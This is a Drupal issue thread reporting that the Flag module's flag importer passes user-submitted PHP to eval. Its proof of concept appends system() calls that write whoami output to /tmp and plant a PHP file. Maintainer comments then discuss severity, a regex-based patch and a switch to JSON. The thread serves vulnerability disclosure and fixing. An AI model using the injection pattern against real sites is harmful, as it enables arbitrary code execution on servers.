This was initially reported to the Drupal security team, who determined it could be handled publicly: it relies on an attacker having a permission which is marked as restricted.

Problem/Motivation

The Flag 7.x-3.5 module contains an improper input handling (IH) vulnerability created by it's failure to validate user
supplied PHP code, input via it's "flag importer" form, before using PHP's "eval" function to execute the code on the server.
Using the flag importer form, a malicious user is able to execute arbitrary code with the permissions of the server on the host machine.

Proof of Concept:
-----------------
1. Install and enable the Flag module
2. Using an account with permissions to use the flag importer, navigate to the flag import page (?q=admin/structure/flags/import)
and submit the below code via the "Flag import code" text area:

//Valid flag definition. This is required to successfully submit the flag import form
$flags = array();
// Exported flag: "Bookmarks".
$flags['bookmarks'] = array (
  'entity_type' => 'node',
  'title' => 'Bookmarks',
  'global' => '0',
  'types' => 
  array (
    0 => 'article',
    1 => 'page',
    2 => 'people',
  ),
  'flag_short' => 'Bookmark this',
  'flag_long' => 'Add this post to your bookmarks',
  'flag_message' => 'This post has been added to your bookmarks',
  'unflag_short' => 'Unbookmark this',
  'unflag_long' => 'Remove this post from your bookmarks',
  'unflag_message' => 'This post has been removed from your bookmarks',
  'unflag_denied_text' => '',
  'link_type' => 'toggle',
  'weight' => 0,
  'show_in_links' => 
  array (
    'full' => 'full',
    'teaser' => 'teaser',
    'rss' => 'rss',
    'search_index' => 'search_index',
    'search_result' => 'search_result',
  ),
  'show_as_field' => 1,
  'show_on_form' => 1,
  'access_author' => '',
  'show_contextual_link' => 1,
  'i18n' => 0,
  'api_version' => 3,
);
// Malicious user input. Any amount of arbitrary code can be run after here and before the "return flags" statement 
system("whoami > /tmp/whoami.txt;");
system("echo \"<?php echo 'I p0wn Server now'; ?>\" >> /tmp/do_evil.php;");
return $flags;

3. On the server machine, navigate to the /tmp directory to find the created files "whoami.txt" and "do_evil.php".
"whoami.txt" contains the user who executed the code above (server). "do_evil.php" contains the PHP code submitted
via the flag importer form above.
Note: This proof of concept assumes a linux server is being used. This does not imply that non-linux systems are not
vulnerable.

Proposed resolution

The attached patch mitigates the vulnerability. A true solution that eliminates this vulnerability however is to rewrite the flag module to export and import flags using a json object.

CommentFileSizeAuthor
flag-7.x-3.5-IH.patch995 bytesubani@sas.upenn.edu
Support from Acquia helps fund testing for Drupal Acquia logo

Comments

joachim’s picture

Version: 7.x-3.5 » 7.x-3.x-dev
Priority: Critical » Normal
Issue summary: View changes
Status: Active » Needs work

Thanks for taking the time to report this and work on it.

It's an interesting idea, and worth implementing. I'm downgrading the severity though, as the Flag import form is protected by a permissions with 'restrict access' set -- therefore a site admin is already warned that they should only give this to trusted users.

The patch needs some cleaning up for whitespace and indentation errors and coding standards.

The regex itself needs to be made clearer if it's to be maintainable. I suggest using the expanded regex style, and adding comments to document it. This one in module builder is the sort of approach I have in mind:

    // The pattern for extracting function data: capture first line of doc,
    // function declaration, and hook name.
    $pattern = '[
             / \* \* \n     # start phpdoc
            \  \* \  ( .* ) \n  # first line of phpdoc: capture the text for the description
      ( (?: \  \* .* \n )* )  # lines of phpdoc: capture the documentation
            \  \* /  \n     # end phpdoc
           ( function \ ( ( hook | callback ) \w+ ) .* ) \ { # function declaration: capture...
      #    ^ entire definition and name
      #                 ^ function name
      #                   ^ whether this is a hook or a callback
       ( (?: .* \n )*? )    # function body: capture example code
           ^ }
    ]mx';

    preg_match_all($pattern, $contents, $matches);
joachim’s picture

Issue summary: View changes

Switching to using a JSON format would be the simplest fix though, as you suggest.

I am not sure of the implications of this on backwards compatibility. To my mind, the import/export feature is a one-shot thing: you export, and then import immediately after. So if the format changes overnight, that doesn't matter.

But people use features in all sorts of weird and unintended ways: could there be people relying on this in an ongoing fashion, whose workflows would get broken by this change?

joachim’s picture

Issue summary: View changes